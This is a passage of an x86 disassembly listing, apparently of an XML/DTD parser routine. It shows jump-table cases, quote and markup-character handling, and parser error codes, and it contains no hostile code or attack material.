		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B343C2
		mov	ecx, esi
		call	sub_69B324CC
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B343EA:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B33EA9 case	15
		jnz	loc_69B3434F
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+44h], eax
		mov	edi, [edi+4]
		push	offset sub_69B33E72
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B343C2
		mov	[esi+90h], edi


loc_69B34414:				; CODE XREF: sub_69B33E72+519j
		mov	dword ptr [esi+94h], 0C00CE562h
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34420:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B33EA9 case	16
		jnz	loc_69B3434F
		push	0C00CE562h
		push	dword ptr [edi+4]
		mov	ecx, esi
		call	sub_69B322C1
		jmp	short loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B3443B:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		push	ebx		; jumptable 69B33EA9 case 17
		push	offset sub_69B325A9
		jmp	loc_69B34584
; ---------------------------------------------------------------------------


loc_69B34446:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 18
		jnz	loc_69B343C0
		push	ebx
		push	offset sub_69B33C72
		jmp	loc_69B34584
; ---------------------------------------------------------------------------


loc_69B3445E:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 23
		jnz	loc_69B343C0
		lea	ecx, [esi+52h]
		mov	ax, [ecx]
		cmp	ax, 22h
		jz	short loc_69B34481
		cmp	ax, 27h
		jnz	loc_69B34536


loc_69B34481:				; CODE XREF: sub_69B33E72+603j
		cmp	byte ptr [esi+0A8h], 0
		mov	[esi+56h], ax
		jnz	short loc_69B3449D
		lea	eax, [esi+5Ch]
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B344A4
; ---------------------------------------------------------------------------


loc_69B3449D:				; CODE XREF: sub_69B33E72+61Aj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B344A4:				; CODE XREF: sub_69B33E72+629j
		test	eax, eax
		jnz	loc_69B343C2
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B318D1
		cmp	dword ptr [edi+0Ch], 1
		setz	al
		cmp	byte ptr [esi+5Ch], 0
		mov	[esi+0B9h], al
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B33973
		jmp	loc_69B34584
; ---------------------------------------------------------------------------


loc_69B344D7:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 24
		jnz	loc_69B343C0
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B33AED
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B343C2
		mov	ecx, esi
		call	sub_69B33AED
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B3450F:				; CODE XREF: sub_69B33E72+496j
		mov	eax, [ebp+var_4]
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34517:				; CODE XREF: sub_69B33E72+37j
					; DATA XREF: .text:off_69B34597o
		cmp	byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 28
		jnz	loc_69B343C0
		lea	ecx, [esi+52h]
		mov	ax, [ecx]
		cmp	ax, 22h
		jz	short loc_69B34540
		cmp	ax, 27h
		jz	short loc_69B34540


loc_69B34536:				; CODE XREF: sub_69B33E72+609j
		mov	eax, 0C00CE502h
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34540:				; CODE XREF: sub_69B33E72+6BCj
					; sub_69B33E72+6C2j
		cmp	byte ptr [esi+0A8h], 0
		mov	[esi+56h], ax
		jnz	short loc_69B3455C
		lea	eax, [esi+5Ch]
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B34563
; ---------------------------------------------------------------------------


loc_69B3455C:				; CODE XREF: sub_69B33E72+6D9j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34563:				; CODE XREF: sub_69B33E72+6E8j
		test	eax, eax
		jnz	loc_69B343C2
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B318D1
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B3434F
		push	ebx
		push	offset sub_69B3299B


loc_69B34584:				; CODE XREF: sub_69B33E72+5CFj
					; sub_69B33E72+5E7j ...
		mov	ecx, esi
		call	sub_69B320E7
		jmp	loc_69B343C2
; ---------------------------------------------------------------------------


loc_69B34590:				; CODE XREF: sub_69B33E72+4AEj
		mov	eax, ebx
		jmp	loc_69B343C2
sub_69B33E72	endp

; ---------------------------------------------------------------------------
off_69B34597	dd offset loc_69B33ED6	; DATA XREF: sub_69B33E72+37r
		dd offset loc_69B33EB0	; jump table for switch	statement
		dd offset loc_69B33FCF
		dd offset loc_69B33FE6
		dd offset loc_69B3407A
		dd offset loc_69B340A6
		dd offset loc_69B34126
		dd offset loc_69B34137
		dd offset loc_69B34357
		dd offset loc_69B34174
		dd offset loc_69B34390
		dd offset loc_69B33F2B
		dd offset loc_69B343C7
		dd offset loc_69B3420B
		dd offset loc_69B340DE
		dd offset loc_69B343EA
		dd offset loc_69B34420
		dd offset loc_69B3443B
		dd offset loc_69B34446
		dd offset loc_69B3425A
		dd offset loc_69B34280
		dd offset loc_69B342C0
		dd offset loc_69B33F50
		dd offset loc_69B3445E
		dd offset loc_69B344D7
		dd offset loc_69B3430E
		dd offset loc_69B342E7
		dd offset loc_69B34211
		dd offset loc_69B34517
off_69B3460B	dd offset loc_69B341DB	; DATA XREF: sub_69B33E72+362r
		dd offset loc_69B341E1	; jump table for switch	statement
		dd offset loc_69B341E1
		dd offset loc_69B341EA
		dd offset loc_69B341E1
		dd offset loc_69B341EA
		dd offset loc_69B341F3
		dd offset loc_69B341FC
		dd offset loc_69B341F3
		align 10h
byte_69B34630	db 5, 4	dup(0)		; DATA XREF: sub_69B33E72+50Fo
		align 4
		dd 1, 2	dup(0)
		dd 9
		dd offset aPublic_0	; "PUBLIC"
		dd 3, 2, 23h, 9
		dd offset aSystem_0	; "SYSTEM"
		dd 0Dh,	0C00CE566h, 22h, 1, 0
		dd 4, 2	dup(0)
		dd 1Ch,	0
		db 5, 4	dup(0)
		align 10h
		dd 0
		dd 6, 0
		dd 6, 0Dh, 0FFFFFFFFh, 0Dh, 0
		dd 7, 0Bh, 0
		dd 0Bh,	0
		dd 10h,	8, 0
		dd 1, 0
		dd 9, 2	dup(0)
		dd 4
		dd offset asc_69B270E4	; "\""
		dd 0Ch,	0Ah, 0
		dd 4
		dd offset asc_69B270E0	; "'"
		dd 0Ch,	10h, 0
		dd 1, 0
		dd 0Ch,	2 dup(0)
		dd 1Bh,	0
		dd 0Eh,	2 dup(0)
		dd 1, 0
		dd 0Eh,	2 dup(0)
		dd 1Ch,	0
		dd 0Fh,	2 dup(0)
		dd 6, 0
		dd 10h,	0Dh, 0FFFFFFFFh, 0Ah, 3	dup(0)
		dd 1, 0
aSystem_0:				; DATA XREF: .text:69B3465Co
		unicode	0, <SYSTEM>,0
		align 4
aPublic_0:				; DATA XREF: .text:69B34648o
		unicode	0, <PUBLIC>,0

; =============== S U B	R O U T	I N E =======================================



sub_69B347A6	proc near		; CODE XREF: sub_69B2132A+374p
					; sub_69B347D3+161p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	offset sub_69B33E72
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B347CF
		mov	ecx, [esp+4+arg_4]
		mov	[esi+90h], ecx
		mov	ecx, [esp+4+arg_8]
		mov	[esi+94h], ecx


loc_69B347CF:				; CODE XREF: sub_69B347A6+13j
		pop	esi
		retn	0Ch
sub_69B347A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B347D3	proc near		; CODE XREF: sub_69B3347E+157j
					; DATA XREF: sub_69B324CC+49o ...

; FUNCTION CHUNK AT 69B333D2 SIZE 000000AC BYTES

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		lea	ebp, [esi+5Ch]
		xor	ebx, ebx
		cmp	[ebp+0], bl
		jz	short loc_69B34802
		cmp	[esi+10h], ebx
		jnz	short loc_69B347EE
		mov	eax, 0C00CE500h
		jmp	short loc_69B34860
; ---------------------------------------------------------------------------


loc_69B347EE:				; CODE XREF: sub_69B347D3+12j
		mov	eax, [esi+0ACh]
		neg	eax
		sbb	eax, eax
		and	eax, 9
		add	eax, 0C00CE559h
		jmp	short loc_69B34860
; ---------------------------------------------------------------------------


loc_69B34802:				; CODE XREF: sub_69B347D3+Dj
		movsx	eax, word ptr [esi+4]
		sub	eax, ebx
		jz	short loc_69B34831
		dec	eax
		jz	short loc_69B34814
		mov	eax, 0C00CE512h
		jmp	short loc_69B34860
; ---------------------------------------------------------------------------


loc_69B34814:				; CODE XREF: sub_69B347D3+38j
		mov	eax, [esi+34h]
		mov	[esi+4], bx
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		dec	ecx
		test	ecx, ecx
		jle	short loc_69B3482D
		mov	dword ptr [esi+44h], 12h


loc_69B3482D:				; CODE XREF: sub_69B347D3+51j
		xor	eax, eax
		jmp	short loc_69B34860
; ---------------------------------------------------------------------------


loc_69B34831:				; CODE XREF: sub_69B347D3+35j
		push	edi
		lea	edi, [esi+52h]
		movzx	eax, word ptr [edi]
		cmp	eax, 25h
		jz	loc_69B3497E
		cmp	eax, 3Ch
		jz	loc_69B348EB
		cmp	eax, 5Dh
		jz	short loc_69B34881
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	short loc_69B34864


loc_69B3485A:				; CODE XREF: sub_69B347D3+BCj
		mov	eax, 0C00CE50Bh


loc_69B3485F:				; CODE XREF: sub_69B347D3+A1j
					; sub_69B347D3+E4j ...
		pop	edi


loc_69B34860:				; CODE XREF: sub_69B347D3+19j
					; sub_69B347D3+2Dj ...
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B34864:				; CODE XREF: sub_69B347D3+85j
		push	1
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B3485F
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_69B3254F
; ---------------------------------------------------------------------------


loc_69B34881:				; CODE XREF: sub_69B347D3+7Aj
		cmp	[esi+0A9h], bl
		jnz	short loc_69B34891
		cmp	[esi+0ACh], ebx
		jz	short loc_69B3485A


loc_69B34891:				; CODE XREF: sub_69B347D3+B4j
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		cmp	[esi+0A8h], bl
		jnz	short loc_69B348AE
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B348B5
; ---------------------------------------------------------------------------


loc_69B348AE:				; CODE XREF: sub_69B347D3+CDj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B348B5:				; CODE XREF: sub_69B347D3+D9j
		cmp	eax, ebx
		jnz	short loc_69B3485F
		cmp	[esi+0A9h], bl
		jz	short loc_69B348CD
		mov	[esi+0A8h], bl
		mov	[esi+0A9h], bl


loc_69B348CD:				; CODE XREF: sub_69B347D3+ECj
		dec	dword ptr [esi+0ACh]
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		cmp	eax, ebx
		jl	loc_69B3485F
		xor	eax, eax
		jmp	loc_69B3485F
; ---------------------------------------------------------------------------


loc_69B348EB:				; CODE XREF: sub_69B347D3+71j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B348FF
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B34906
; ---------------------------------------------------------------------------


loc_69B348FF:				; CODE XREF: sub_69B347D3+11Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34906:				; CODE XREF: sub_69B347D3+12Aj
		cmp	eax, ebx
		jnz	loc_69B3485F
		mov	di, [edi]
		cmp	di, 21h
		jnz	short loc_69B3493E
		mov	ecx, [esi+34h]
		call	sub_69B35F5B
		cmp	eax, ebx
		jl	loc_69B3485F
		push	0C00CE562h
		push	offset dword_69B26E30
		push	ebx
		mov	ecx, esi
		call	sub_69B347A6
		jmp	loc_69B3485F
; ---------------------------------------------------------------------------


loc_69B3493E:				; CODE XREF: sub_69B347D3+142j
		cmp	di, 3Fh
		jnz	short loc_69B34964
		push	ebx
		push	offset sub_69B2132A
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B3485F
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	sub_69B2132A
; ---------------------------------------------------------------------------


loc_69B34964:				; CODE XREF: sub_69B347D3+16Fj
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 54h
		add	eax, 0C00CE513h
		jmp	loc_69B3485F
; ---------------------------------------------------------------------------


loc_69B3497E:				; CODE XREF: sub_69B347D3+68j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B34992
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B34999
; ---------------------------------------------------------------------------


loc_69B34992:				; CODE XREF: sub_69B347D3+1B1j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34999:				; CODE XREF: sub_69B347D3+1BDj
		cmp	eax, ebx
		jnz	loc_69B3485F
		push	ebx
		push	offset loc_69B333D2
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B3485F
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebp
		pop	ebx
		jmp	loc_69B333D2
sub_69B347D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B349C1	proc near		; CODE XREF: sub_69B34A8C+10p
					; sub_69B34A8C+CCp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		mov	esi, ecx
		mov	eax, [esi+24h]
		test	eax, eax
		push	edi
		jz	short loc_69B349E0
		lea	edi, [eax-1]
		imul	edi, [esi+1Ch]
		add	edi, [esi+20h]
		jnz	short loc_69B349E8


loc_69B349E0:				; CODE XREF: sub_69B349C1+11j
		xor	eax, eax
		inc	eax
		jmp	loc_69B34A88
; ---------------------------------------------------------------------------


loc_69B349E8:				; CODE XREF: sub_69B349C1+1Dj
		cmp	byte ptr [edi+6], 0
		jz	short loc_69B34A31
		mov	eax, [esi+10h]
		test	eax, eax
		jz	short loc_69B349FD
		dec	eax
		imul	eax, [esi+8]
		add	eax, [esi+0Ch]


loc_69B349FD:				; CODE XREF: sub_69B349C1+32j
		mov	edx, [edi+0Ch]
		mov	ecx, offset sub_69B347D3
		cmp	edx, ecx
		jz	short loc_69B34A0D
		cmp	[eax], ecx
		jnz	short loc_69B34A18


loc_69B34A0D:				; CODE XREF: sub_69B349C1+46j
		cmp	[eax], edx
		jz	short loc_69B34A18
		mov	[ebp+var_4], 0C00CE55Bh


loc_69B34A18:				; CODE XREF: sub_69B349C1+4Aj
					; sub_69B349C1+4Ej
		cmp	byte ptr [esi+8Eh], 0
		mov	ax, [edi+4]
		jnz	short loc_69B34A35
		mov	[esi+38h], ax
		mov	word ptr [esi+52h], 20h
		jmp	short loc_69B34A39
; ---------------------------------------------------------------------------


loc_69B34A31:				; CODE XREF: sub_69B349C1+2Bj
		mov	ax, [edi+4]


loc_69B34A35:				; CODE XREF: sub_69B349C1+62j
		mov	[esi+52h], ax


loc_69B34A39:				; CODE XREF: sub_69B349C1+6Ej
		push	ebx
		mov	ebx, [esi+34h]
		test	ebx, ebx
		mov	byte ptr [esi+5Ch], 0
		jz	short loc_69B34A52
		mov	ecx, ebx
		call	sub_69B35E77
		push	ebx
		call	sub_69B1B2B7


loc_69B34A52:				; CODE XREF: sub_69B349C1+82j
		cmp	word ptr [esi+52h], 20h
		mov	eax, [edi]
		mov	[esi+34h], eax
		pop	ebx
		jnz	short loc_69B34A65
		mov	ecx, [eax+8]
		mov	[eax+48h], ecx


loc_69B34A65:				; CODE XREF: sub_69B349C1+9Cj
		mov	al, [edi+7]
		mov	[esi+5Dh], al
		cmp	byte ptr [edi+7], 0
		jz	short loc_69B34A7A
		mov	al, [edi+8]
		mov	[esi+0A9h], al


loc_69B34A7A:				; CODE XREF: sub_69B349C1+AEj
		lea	ecx, [esi+1Ch]
		call	sub_69B31F0D
		dec	dword ptr [esi+30h]
		mov	eax, [ebp+var_4]


loc_69B34A88:				; CODE XREF: sub_69B349C1+22j
		pop	edi
		pop	esi
		leave
		retn
sub_69B349C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B34A8C	proc near		; CODE XREF: sub_69B2132A+49p
					; sub_69B2132A+114p ...

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, ecx
		cmp	[esi+5Dh], bl
		mov	[esp+0Ch+var_4], ebx
		jz	short loc_69B34ADA
		call	sub_69B349C1
		cmp	eax, ebx
		mov	[esp+0Ch+var_4], eax
		jl	loc_69B34BE9
		cmp	[esi+5Dh], bl
		jz	short loc_69B34ADA
		xor	eax, eax
		mov	ax, [esi+4]
		mov	ecx, esi
		mov	[esi+5Dh], bl
		push	eax
		push	offset sub_69B32537
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B34BE9
		mov	eax, 0C00CE500h
		jmp	loc_69B34BE9
; ---------------------------------------------------------------------------


loc_69B34ADA:				; CODE XREF: sub_69B34A8C+Ej
					; sub_69B34A8C+24j
		xor	eax, eax
		mov	ax, [esi+38h]
		cmp	ax, bx
		push	ebp
		push	edi
		lea	edi, [esi+52h]
		jz	short loc_69B34B07
		mov	ebp, [esi+34h]
		push	eax
		mov	[edi], ax
		call	sub_69B2ECB4
		test	eax, eax
		mov	eax, [ebp+8]
		jnz	short loc_69B34AFE
		dec	eax


loc_69B34AFE:				; CODE XREF: sub_69B34A8C+6Fj
		mov	[ebp+48h], eax
		mov	[esi+38h], bx
		jmp	short loc_69B34B60
; ---------------------------------------------------------------------------


loc_69B34B07:				; CODE XREF: sub_69B34A8C+5Cj
		mov	ecx, [esi+34h]
		lea	ebp, [esi+5Ch]
		push	ebp
		push	edi
		call	sub_69B35FE4
		cmp	[ebp+0], bl
		mov	[esp+14h+var_4], eax
		jz	short loc_69B34B60
		cmp	[esi+24h], ebx
		jle	short loc_69B34B60
		mov	eax, [esi+24h]
		cmp	eax, ebx
		jnz	short loc_69B34B2D
		xor	eax, eax
		jmp	short loc_69B34B35
; ---------------------------------------------------------------------------


loc_69B34B2D:				; CODE XREF: sub_69B34A8C+9Bj
		dec	eax
		imul	eax, [esi+1Ch]
		add	eax, [esi+20h]


loc_69B34B35:				; CODE XREF: sub_69B34A8C+9Fj
		cmp	[eax+6], bl
		jz	short loc_69B34B56
		cmp	[esi+8Eh], bl
		jnz	short loc_69B34B56
		mov	eax, [esi+34h]
		mov	word ptr [edi],	20h
		mov	ecx, [eax+8]
		mov	[eax+48h], ecx
		mov	byte ptr [esi+5Dh], 1
		jmp	short loc_69B34B5D
; ---------------------------------------------------------------------------


loc_69B34B56:				; CODE XREF: sub_69B34A8C+ACj
					; sub_69B34A8C+B4j
		mov	ecx, esi
		call	sub_69B349C1


loc_69B34B5D:				; CODE XREF: sub_69B34A8C+C8j
		mov	[ebp+0], bl


loc_69B34B60:				; CODE XREF: sub_69B34A8C+79j
					; sub_69B34A8C+8Fj ...
		cmp	word ptr [edi],	25h
		jnz	short loc_69B34BE3
		cmp	[esi+8Dh], bl
		jz	short loc_69B34BE3
		mov	eax, [esi]
		cmp	eax, offset loc_69B333D2
		jz	short loc_69B34BE3
		cmp	[esi+0A9h], bl
		jz	short loc_69B34BB3
		mov	ecx, offset sub_69B347D3
		cmp	eax, ecx
		jz	short loc_69B34BB3
		cmp	eax, offset sub_69B3254F
		jnz	short loc_69B34BAB
		cmp	[esi+10h], ebx
		jle	short loc_69B34BAB
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jnz	short loc_69B34B9F
		xor	eax, eax
		jmp	short loc_69B34BA7
; ---------------------------------------------------------------------------


loc_69B34B9F:				; CODE XREF: sub_69B34A8C+10Dj
		dec	eax
		imul	eax, [esi+8]
		add	eax, [esi+0Ch]


loc_69B34BA7:				; CODE XREF: sub_69B34A8C+111j
		cmp	[eax], ecx
		jz	short loc_69B34BB3


loc_69B34BAB:				; CODE XREF: sub_69B34A8C+101j
					; sub_69B34A8C+106j
		mov	[esp+14h+var_4], 0C00CE55Ah


loc_69B34BB3:				; CODE XREF: sub_69B34A8C+F1j
					; sub_69B34A8C+FAj ...
		cmp	[esp+14h+var_4], ebx
		jnz	short loc_69B34BE3
		cmp	[esi+8Eh], bl
		mov	byte ptr [esi+0B0h], 1
		jnz	short loc_69B34BD6
		mov	eax, [esi+34h]
		mov	word ptr [edi],	20h
		mov	ecx, [eax+8]
		mov	[eax+48h], ecx


loc_69B34BD6:				; CODE XREF: sub_69B34A8C+13Aj
		cmp	[esi+0A5h], bl
		mov	eax, 8000E5FFh
		jnz	short loc_69B34BE7


loc_69B34BE3:				; CODE XREF: sub_69B34A8C+D8j
					; sub_69B34A8C+E0j ...
		mov	eax, [esp+14h+var_4]


loc_69B34BE7:				; CODE XREF: sub_69B34A8C+155j
		pop	edi
		pop	ebp


loc_69B34BE9:				; CODE XREF: sub_69B34A8C+1Bj
					; sub_69B34A8C+3Ej ...
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_69B34A8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B34BED	proc near		; CODE XREF: sub_69B354B1+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	esi, ecx
		xor	ebx, ebx


loc_69B34BFA:				; CODE XREF: sub_69B34BED+1C2j
		cmp	[esi+50h], bl
		jz	short loc_69B34C10
		push	dword ptr [esi+4Ch]
		mov	ecx, [esi+34h]
		call	sub_69B318D1
		mov	[esi+4Ch], ebx
		mov	[esi+50h], bl


loc_69B34C10:				; CODE XREF: sub_69B34BED+10j
		cmp	[esi+0B0h], bl
		jnz	short loc_69B34C79


loc_69B34C18:				; CODE XREF: sub_69B34BED+F4j
		mov	ecx, esi
		call	dword ptr [esi]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jnz	short loc_69B34C5C


loc_69B34C23:				; CODE XREF: sub_69B34BED+4Cj
		cmp	[esi+44h], ebx
		jnz	short loc_69B34C3B
		cmp	[esi+0B0h], bl
		jnz	short loc_69B34C3B
		mov	ecx, esi
		call	dword ptr [esi]
		cmp	eax, ebx
		mov	[ebp+arg_8], eax
		jz	short loc_69B34C23


loc_69B34C3B:				; CODE XREF: sub_69B34BED+39j
					; sub_69B34BED+41j
		mov	eax, [ebp+arg_8]
		cmp	eax, ebx
		jnz	short loc_69B34C5C
		cmp	[esi+44h], ebx
		jnz	short loc_69B34C4F
		cmp	[esi+0B0h], bl
		jnz	short loc_69B34C79


loc_69B34C4F:				; CODE XREF: sub_69B34BED+58j
		mov	eax, [esi+44h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		jmp	loc_69B34CEB
; ---------------------------------------------------------------------------


loc_69B34C5C:				; CODE XREF: sub_69B34BED+34j
					; sub_69B34BED+53j
		cmp	eax, 8000000Ah
		jz	loc_69B34DB7
		cmp	eax, 0C00CE500h
		jz	loc_69B34DB7
		cmp	eax, 8000E5FFh
		jnz	short loc_69B34CE6


loc_69B34C79:				; CODE XREF: sub_69B34BED+29j
					; sub_69B34BED+60j
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		mov	eax, [ebp+arg_C]
		mov	[eax], ebx
		mov	eax, [ebp+arg_4]
		mov	[edi], ebx
		mov	[eax], ebx
		cmp	[esi+0A8h], bl
		jnz	short loc_69B34CA4
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B34CAB
; ---------------------------------------------------------------------------


loc_69B34CA4:				; CODE XREF: sub_69B34BED+A3j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34CAB:				; CODE XREF: sub_69B34BED+B5j
		cmp	eax, ebx
		jnz	loc_69B34DCB
		xor	eax, eax
		mov	ax, [esi+4]
		mov	ecx, esi
		push	eax
		push	offset loc_69B333D2
		call	sub_69B320E7
		cmp	eax, ebx
		jl	loc_69B34DCB
		lea	eax, [esi+0A5h]
		mov	cl, [eax]
		mov	[esi+3Ah], cl
		mov	[eax], bl
		mov	[esi+0B0h], bl
		jmp	loc_69B34C18
; ---------------------------------------------------------------------------


loc_69B34CE6:				; CODE XREF: sub_69B34BED+8Aj
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx


loc_69B34CEB:				; CODE XREF: sub_69B34BED+6Aj
		cmp	[esi+0A5h], bl
		jnz	short loc_69B34D16
		mov	ecx, [esi+34h]
		push	edi
		push	[ebp+arg_4]
		call	sub_69B35C65
		mov	eax, [esi+48h]
		add	[edi], eax
		mov	al, [esi+3Ah]
		cmp	al, bl
		jz	short loc_69B34D39
		mov	[esi+0A5h], al
		mov	[esi+3Ah], bl
		jmp	short loc_69B34D39
; ---------------------------------------------------------------------------


loc_69B34D16:				; CODE XREF: sub_69B34BED+104j
		mov	eax, [esi+98h]
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		lea	eax, [esi+9Ch]
		mov	ecx, [eax]
		mov	[edi], ecx
		mov	[esi+0A5h], bl
		mov	[esi+0A4h], bl
		mov	[eax], ebx


loc_69B34D39:				; CODE XREF: sub_69B34BED+11Cj
					; sub_69B34BED+127j
		cmp	[ebp+arg_8], ebx
		mov	[esi+48h], ebx
		jz	short loc_69B34D87
		cmp	[ebp+arg_8], 8000000Ah
		jz	short loc_69B34D60
		cmp	[esi+0A9h], bl
		jz	short loc_69B34D60
		cmp	word ptr [esi+52h], 25h
		jnz	short loc_69B34D60
		mov	[ebp+arg_8], 0C00CE55Ah


loc_69B34D60:				; CODE XREF: sub_69B34BED+15Bj
					; sub_69B34BED+163j ...
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B34D87
		cmp	[ebp+arg_8], 0C00CE550h
		jl	short loc_69B34D77
		cmp	[ebp+arg_8], 0C00CE583h
		jl	short loc_69B34D87


loc_69B34D77:				; CODE XREF: sub_69B34BED+17Fj
		push	dword ptr [esi+4Ch]
		mov	ecx, [esi+34h]
		call	sub_69B318D1
		mov	[esi+4Ch], ebx
		jmp	short loc_69B34D8B
; ---------------------------------------------------------------------------


loc_69B34D87:				; CODE XREF: sub_69B34BED+152j
					; sub_69B34BED+176j ...
		mov	byte ptr [esi+50h], 1


loc_69B34D8B:				; CODE XREF: sub_69B34BED+198j
		mov	eax, [esi+60h]
		mov	ecx, [ebp+arg_C]
		mov	[esi+44h], ebx
		mov	[ecx], eax
		cmp	[esi+8Ch], bl
		mov	[esi+64h], ebx
		mov	[esi+60h], ebx
		jz	short loc_69B34DC8
		cmp	[esi+0A8h], bl
		jz	short loc_69B34DC8
		cmp	[ebp+arg_8], ebx
		jz	loc_69B34BFA
		jmp	short loc_69B34DC8
; ---------------------------------------------------------------------------


loc_69B34DB7:				; CODE XREF: sub_69B34BED+74j
					; sub_69B34BED+7Fj
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		mov	eax, [ebp+arg_C]
		mov	[eax], ebx
		mov	eax, [ebp+arg_4]
		mov	[edi], ebx
		mov	[eax], ebx


loc_69B34DC8:				; CODE XREF: sub_69B34BED+1B5j
					; sub_69B34BED+1BDj ...
		mov	eax, [ebp+arg_8]


loc_69B34DCB:				; CODE XREF: sub_69B34BED+C0j
					; sub_69B34BED+DBj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B34BED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B34DD2	proc near		; DATA XREF: sub_69B35447+56o
					; sub_69B3587A+30o
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B34DF0
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B34DF7
; ---------------------------------------------------------------------------


loc_69B34DF0:				; CODE XREF: sub_69B34DD2+Aj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34DF7:				; CODE XREF: sub_69B34DD2+1Cj
		test	eax, eax
		jnz	short loc_69B34E09
		push	eax
		mov	ecx, esi
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B34E09
		xor	eax, eax


loc_69B34E09:				; CODE XREF: sub_69B34DD2+27j
					; sub_69B34DD2+33j
		pop	esi
